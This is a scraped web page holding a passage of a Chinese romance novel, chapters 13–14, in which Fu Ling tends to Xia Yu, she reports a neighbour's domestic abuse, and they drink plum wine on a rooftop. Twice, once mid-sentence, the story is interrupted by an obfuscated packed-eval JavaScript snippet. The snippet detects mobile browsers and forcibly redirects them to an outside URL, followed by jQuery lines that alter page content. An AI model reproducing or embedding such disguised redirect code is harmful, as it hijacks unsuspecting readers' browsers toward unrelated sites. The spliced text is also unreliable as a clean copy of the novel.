;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16490643|185841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么一拽,手中的梅子几乎全部滚落。下一刻,视野里一片天旋地转,她整个人被他拦腰抱起。
她僵了下,下意识看向傅泠。
暮色降临的公寓,两双干净的眼睛,在微醺的空气中对视。
但或许是太累了,或许是知道他并无恶意,紧绷的身体在他沉稳的臂弯里,一点点松懈下来。
她低下头,轻轻地说了声:“谢谢。”
女孩清浅的呼吸拂过胸前,傅泠不禁垂眸看她。
她的长发像顺滑的黑绸,垂落在他手臂上,唇破了皮,还沾了一抹红,额头和锁骨上都布满了细密的汗珠。
傅泠没说什么,将她放到沙发上,然后转身去了厨房。出来时,手上多了杯柠檬水。
他将水杯递给夏虞,又转身去卫生间拿了垃圾桶和拖把,开始打扫起那滩狼藉。
夏虞怔怔地捧着温热的水杯,转头瞧见他的动作,猛地回过了神。
往日里面目冷酷的老板,此刻竟在她的房子里,挽起衬衫袖子,替她打扫着满屋子的玻璃渣。
她“咚”一声放下杯子,起身道:“傅先生,我来吧。”
“坐下。”
傅泠连头都没抬,隔着不远的距离,发出一贯的命令式口吻。
“把水喝了。”
夏虞无措地站了两秒,才“哦”了声,重新坐回去。
她捧起水杯,喝了口,嘴唇被带着酸味的液体刺痛,她下意识抬头,瞥了眼遗留在茶几上的那面化妆镜。
这才发现,唇不但裂了,还残留着一抹红。
被咬出的。
她鬼使神差地朝傅泠看去。
被他撞见这样的场景,当事人还是他弟弟,她多少有些说不出的尴尬。
不料他也正好看过来,两人眼神意外对上。
夏虞缓缓转回视线,继续埋头喝水。
柠檬水很快见底,只剩下孤零零两片柠檬,而傅泠也差不多收拾完,将工具归位,拎着一个黑色垃圾袋,从卫生间出来。
被反复清洗过的指尖还在滴水,他走回客厅,扯了两张纸巾擦手,眼神落到夏虞身上,淡淡的。
“去收拾下?”
顺着他的视线,夏虞这才发现自己的白T和牛仔裤都脏了,深褐色的酒渍溅上不少。
她接受了傅泠的提议。
不到五十平的公寓,缺少功能分区,隔音效果也不佳,哗哗的淋浴声清晰地传到了傅泠的耳朵里。
他拿起手机,边拨了通电话出去,边踱步去了窗边。
窗玻璃映出他的身影,宽松的黑色衬衫,黑帽,和一张冷峻的脸。
他推开窗,楼下车水马龙的声音涌进,夜市已经出摊,对街摆满了大排档。
他竟然会来这种地方,一个狭窄、陌生,环境糟糕的小公寓。
就在眸光扫过底下那片烟火气时,电话接通了。
“哟,无事不登三宝殿的傅总。”堂姐傅婧的声音略显意外,“这回是遇见什么麻烦了?”
微凉的风灌进,他顿了下,“你会酿梅子酒吗?”
没想到是这种芝麻小事,傅婧微微松了口气,又拿腔拿调地调侃他。
“傅大少爷什么时候开始有烟火气了?”
“不会?”他可没耐心听她嘲讽,“我挂了。”
“哎哎哎我说不会了吗?”傅婧头痛地叹口气,“你这脾气,以后哪个女孩受得了!”
傅婧事无巨细交代了做梅子酒的材料和流程,最后不放心,想了想说:“算了,我单独跟惠姨讲一下,让她给你备好这些材料。”
挂掉电话,傅泠还在琢磨傅婧教的流程,就在这时,一声女人的尖叫突兀地响起。
他浑身一僵。
大脑像是被某个熟悉的、噩梦般的场景侵入,他被钉在原地,连呼吸也变得有些急促。
他闭了闭眼,迟缓而僵硬地将窗户关上。
然而,几秒后,尖叫再次撞入耳膜,一声接一声,惊恐万状。
像是从…卫生间方向传来的?
不再犹豫,他转过身,紧绷着一张脸,快步走向浴室。
14. Chapter 14
夏虞刚关掉淋浴,浴室的木门便被人猛地推开,门板撞上墙壁,发出一声闷响。
“夏虞——”
跟推门声一同响起的,是傅泠有些急切的声音。
她心头一跳,几乎是本能地,将搭在架子上的那件白色棉T扯过来,紧紧环在身前。
透过沾满水汽的浴室玻璃,她看见一个高大的黑色身影立在门口,男人眉头拧紧,面上阴沉。
眼前的景象让傅泠怔了一瞬,很快,他便意识到自己弄错了。
因为下一刻,那女人凄厉的尖叫声再度响起。
这回听得很清晰,是从楼上传来的,顺着并不隔音的楼板,砸在浴室的天花板上,一声一声,比刚才更甚。
两人都不约而同蹙起了眉头,而夏虞也很快明白他突然闯入的缘由。
然而,戒备解除后,傅泠却突然意识到有什么不对劲的地方。
他好像闯进了一个不该来的地方。
此刻,女人正胡乱地用衣服挡在胸前,湿透的黑发贴在颈侧与锁骨上,发梢的水接连滴落,拖鞋掉了一只在淋浴间外,涂着红色指甲油的脚裸露在微凉空气里。
潮湿的静默里,两双眼在水汽中交汇。
突然——
嗒。
嗒。
残存的水珠从淋浴喷头中滴落,在安静空间里,砸出清晰回响。
傅泠的下颌线绷紧了一瞬。
“抱歉。”
他迅速移开视线,转过了身。
“等等。”
淋浴间里的女人却叫住他,声音带着一点被水汽浸润过的柔软。
“那个…我忘了拿浴巾,你能帮我拿一下吗?”
傅泠脚下一顿。
这样的情况下,她难道不是该避之不及?
他迟疑地回过身。
再度朝她望去时,却发现她脸上没有任何羞涩的成分,一双明亮的眼,被水汽氲得有些发红。
但却干净极了。
也坦荡极了。
看来是他想多了。
不过这女人还真是得寸进尺,竟开始使唤起他了。
他从鼻腔里沉沉地溢出一声:“嗯。”
随即离开浴室门,迅速离去。
东西具体放在哪里,她没交代,傅泠只能耐着性子,依次打开每一扇柜门,一格一格地搜寻。
女人的衣柜比他想象中朴素,并不花里胡哨,也没什么大牌,但品味不错,衣服的款式都很简单耐看。
关上柜门,他拉开下面的第二层抽屉时,目光骤然一顿。
里面整齐叠放着私密的贴身衣物,黑白两色的蕾丝。
他迅速抬手,将抽屉重新推了回去。
还好,他很快在第三层找到了她要的东西。
--
引擎发出沉闷的低吼,黑色轿车往市中心驶去,后视镜里陈旧的紫荆公寓,越来越远。
夏虞坐在副驾驶上,摸出手机,替楼上那个被家暴的女人报了警。
一旁的傅泠忽然出声:“楼上那家人经常这样?”
他单手松松地握着方向盘,目光落在前方,帽檐下的轮廓在夜色中,更显冷硬。
这个装扮让他看起来很年轻,如果跟弟弟傅斯洲站在一起,夏虞恐怕都分不出这两兄弟谁大谁小。
“嗯,警察隔三岔五就会来一次。”
夏虞将手机放回兜里,偏过头,看向窗外串联成线的霓虹,“但好像没什么用。”
他们是这个公寓里为数不多的夫妻,在楼下经营着一间烟酒杂货铺,有一个刚上幼儿园的孩子。
叫骂声、哭喊声和孩子的嘤咛声,常年与这逼仄、不隔音的空间混在一起。
印象中,从她住进来开始,报警的次数,两只手都数不过来了。
但家暴总被当成家务事处理,外力难以真正介入,若想离婚,又是一场更漫长的消耗战。
涉及到财产配分,双方家长的意见,小孩的归属…听说,现在还有什么离婚冷静期。
总之,对普通人来说,谈恋爱麻烦,结婚就更像是一场倾尽所有的豪赌。
每当这种时候,夏虞就会觉得,还是一个人好。虽然偶尔会孤独,但也避免了很多风浪。
就如同今晚跟傅斯洲的冲突,如果她当时不心软答应他的表白,他们就不会走到这个难堪的地步。
心里这样想着,夏虞却并未将这些话说给傅泠听。
她这种处世哲学不太积极,像他那种惯于掌控和进取的人,应该是不会赞同的。
当然,她也不需要任何人的苟同。
不过最重要的是,她发现他此刻气压又低了下来,唇线紧抿,眼眸暗沉,也不知道在想什么。
她没再说什么,而他也没再开口。
车到红绿灯路口停下。
夏虞疲惫地靠在椅背上,视线一偏,一家青梅酒店便闯入眼帘,十几平米的小店,招牌是暖橙色的,在清冷夜色中散发着暖意。
她盯着那家店,突然伸手握住车门把手,想下去买点什么。
但指尖微微一动,最终还是收了回来。
今晚已经耽误他太多时间了。
--
到家后,夏虞先回自己的房间换衣服。
这中间,她听见楼下院子的推门声,探头看了眼,是个男人。
大概是傅泠手底下的人来找他,她没在意。
刚刚被傅斯洲这么一折腾,她差点忘了梦游这件事。手环和束手带都没用了,她又还没找到其他办法。
今晚就只能暂时不睡觉了。
她心烦地推开房门,心事重重地去了客厅,却见傅泠单手拎着两只高脚酒杯,从酒柜那边慢条斯理地走过来。
而茶几上正放着一瓶青梅酒。
定睛一看,是刚刚路过的那家店的。
她瞳仁变得晶亮,“你什么时候买的?”
傅泠瞥她一眼,“想喝就上来。”
他经过她,拿上茶几上的那瓶酒,施施然去了顶楼的露台。
夏虞也跟着上去。
傅泠这个人的生活似乎很简单,不抽烟,偶尔喝酒,热爱运动,作息规律,对富二代某些刺激的游戏也没见他有过什么兴趣。
但在生活小事上,却很有仪式感。
哪怕只是路边随便买回的不知名品牌的酒,他也会很郑重地对待,先加入冰块,再沿着杯壁倒入酒液。
等到酒液填满冰块缝隙,他便停下动作,轻摇酒杯,最后浅抿上一口,像是在品尝什么稀世珍酒。
夏虞没他那么讲究,囫囵倒了一杯,就端着酒杯,放松地站在围栏前。
微醺的夜晚,角落里那盆玉兰暗香浮动,沉甸甸的,被晚风一吹,混合酒香,让人短暂忘记人世的烦恼。
“傅斯洲还在找你麻烦?”傅泠冷不丁开口。
这款青梅酒是用烈酒泡的,口感苦涩,酒味有些重,她一次不敢喝太多,只能小口小口地抿着。
“那晚在白夜里见过后,今天还是第一次。”
“抱歉。”傅泠眸色沉了沉。
夏虞低头捧着酒杯,什么也没说,只问他:“对了,你怎么会突然过来?”
傅泠拿出手机,点开震动器绑定的软件,推到她面前,“自己重新绑在你手机上。”
原来是因为这个软件的定位地图…
夏虞赶紧放下酒杯,认真捣鼓起来,先下载应用,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16501731|185841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再按照他的指示一步步操作。
绑好后,她边测试功能,边开玩笑说:“那以后,岂不是遇见危险都没有老板过来解围了?”
傅泠视线扫过她头顶:“放心,傅斯洲以后不会再来打扰你了。”
夏虞手上顿了下。
她什么也没说,将手机锁屏,扔进兜里,重新拿起了酒杯。
“那瓶青梅酒没了,心里是不是很难受?”傅泠又问。
夏虞握着杯子的手微微用力,嘴上却轻描淡写道:“是有些遗憾的。”
“毕竟,这么好喝的酒,你也尝不到了。
傅泠偏头看向强颜欢笑的人。
他调查过她,自然也知道,她母亲是她大一暑假去世的,肺癌晚期,走得很快。
自那以后,她便一个人生活。
但她母亲留下的积蓄不多,钱花光,她便只能靠着奖学金和兼职生活。
在最艰难的时候,她曾一天做三份兼职,日子过得极为节俭,但却在学校组织的某次自然灾害的捐款活动中,将打工赚的钱,通通捐了出去。
从某方面而言,他们很像。
都失去了母亲,也都很擅长隐藏些什么。
“所以,你一焦虑就梦游的习惯,也跟你母亲有关?”
问出这句话后,傅泠很快意识到不妥。
他向来对别人的私事不感兴趣。更何况,他跟她的关系,远远达不到可以去窥探别人隐私的地步。
“如果不想回答…”
“是的…”
两个声音在晚风中重叠。
傅泠看向旁边的女人,却见她面色平静,似乎没有任何哀伤的痕迹。
他喝了口酒,不再开口。
今晚这瓶酒,其实并不怎么合他的口味,他象征性喝了些,便放下了酒杯。
转头一看,旁边的女人小猫舔水般的饮酒方式,竟然已将剩下大半瓶,都喝得一滴不剩。
“傅泠。”
对上他打量的视线,夏虞的眼神也变得有些迷离。
“嗯?”
“其实,你不用…”她将杯子举在眼前,透过那层玻璃看他,“不用对我这么好的。”
“我对你很好吗?”
傅泠将她手中危险的玻璃杯拿走,放在一旁的小桌上。
夏虞转过身,背靠着围栏,发丝被夜风撩起,在傅泠手背上拂过,带出细微痒意。
“你担心我出事所以赶来公寓,又买了这瓶酒来安抚我…”
月光在她修长的脖颈上流淌,“我知道,你对我好,是因为利用了我,心里过意不去。”
“没关系,真的没关系。”
隔着咫尺的距离,她的眼神无比真诚,“因为,我也在利用你。“
傅泠安静地看着她,突然伸出手,虎口掐住她下巴。
“你利用我什么?”
夏虞不满道:“不是掐脖子,就是掐下巴,你能不能别老是这么暴力?”
傅泠置若罔闻,指尖稍稍一紧,将她下巴又往上抬了抬。
“利用我什么,夏虞?”
傅泠自认没怎么施加力道,但指节抵在她下颌上,却碾出细微的麻意。
她懒懒地掀眼盯他,抿唇道:“傅泠,你这样虐待我,你会后悔的。”
看起来像是在威胁,虽然没什么震慑力。
“虐待”两个字,让傅泠忍不住弯了弯唇角。
“后悔是吗?”他眯起眼,好奇心又多了几分,“怎么个后悔法?具体说说。”
夏虞仰头看着他,突然变得沉默,随即,她缓缓抬手,握住他的手腕。
“傅泠,你知道我是谁吗?”
傅泠眸色微凝,“谁?”